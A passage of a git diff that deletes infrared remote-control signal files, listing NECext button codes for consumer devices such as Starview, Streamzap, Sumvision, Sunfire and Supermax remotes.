1C 00 00 00 -# -name: Media -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: A-Z -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: FUNC -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir deleted file mode 100644 index 59067dbbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 00 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 01 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 03 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 05 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 06 00 00 00 -# -name: sig -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 07 00 00 00 -# -name: tv/radio -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 08 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 19 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1D 00 00 00 -# -name: s.l. -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 40 00 00 00 -# -name: ttx -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 41 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 43 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 00 F9 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir deleted file mode 100644 index 8ae9d1a4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 0F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 19 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 20 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 21 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 22 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 23 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir deleted file mode 100644 index 90b0b19d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: V-Mode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: Menu/PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: Goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir deleted file mode 100644 index a7523bd46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: TUNER_PRESET_10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: TUNER_PRESET_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: TUNER_PRESET_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: V._AUX -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: DAT/TAPE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: DBS/BS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir deleted file mode 100644 index 8757494b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 06 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 07 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 54 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir deleted file mode 100644 index b81993cbd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURROUND -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 19 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir deleted file mode 100644 index df55c69f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir deleted file mode 100644 index a6e61b45a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Mem2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 80 00 00 00 -# -name: LCR -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 81 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 82 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 84 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 85 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 86 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 87 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 88 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 89 00 00 00 -# -name: Mem3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 8F 00 00 00 -# -name: Mem4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 90 00 00 00 -# -name: Mem1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 92 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 93 00 00 00 -# -name: Fplus -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 95 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 96 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 97 00 00 00 -# -name: Fminus -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 98 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 99 00 00 00 -# -name: CFT -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9A 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir deleted file mode 100644 index 4ba1b9bb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir deleted file mode 100644 index 14045cce4..000000000 --- 